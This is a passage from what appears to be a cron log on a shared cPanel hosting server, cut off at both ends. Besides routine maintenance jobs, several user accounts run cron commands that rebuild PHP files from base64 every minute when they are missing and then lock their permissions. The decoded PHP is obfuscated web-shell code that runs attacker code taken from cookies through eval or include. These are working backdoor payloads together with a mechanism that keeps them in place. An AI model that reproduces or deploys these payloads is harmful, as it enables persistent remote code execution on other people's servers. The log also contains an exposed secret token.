ICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:56:01 medusa CROND[3785]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:56:01 medusa CROND[3786]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:56:01 medusa CROND[3788]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 07:56:01 medusa CROND[3789]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:56:01 medusa CROND[3787]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:56:01 medusa CROND[3792]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:56:01 medusa CROND[3793]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:56:01 medusa CROND[3795]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:57:01 medusa CROND[5745]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:57:01 medusa CROND[5746]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:57:01 medusa CROND[5747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:57:01 medusa CROND[5748]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:57:01 medusa CROND[5750]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:57:01 medusa CROND[5749]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 07:57:01 medusa CROND[5751]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:57:01 medusa CROND[5752]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:57:01 medusa CROND[5754]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:57:01 medusa CROND[5755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:57:01 medusa CROND[5767]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:57:01 medusa CROND[5769]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:58:01 medusa CROND[7508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:58:01 medusa CROND[7522]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 07:58:01 medusa CROND[7523]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 07:58:01 medusa CROND[7524]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:58:01 medusa CROND[7525]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:58:01 medusa CROND[7526]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:58:01 medusa CROND[7527]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:58:01 medusa CROND[7532]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:58:01 medusa CROND[7533]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:58:01 medusa CROND[7534]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JH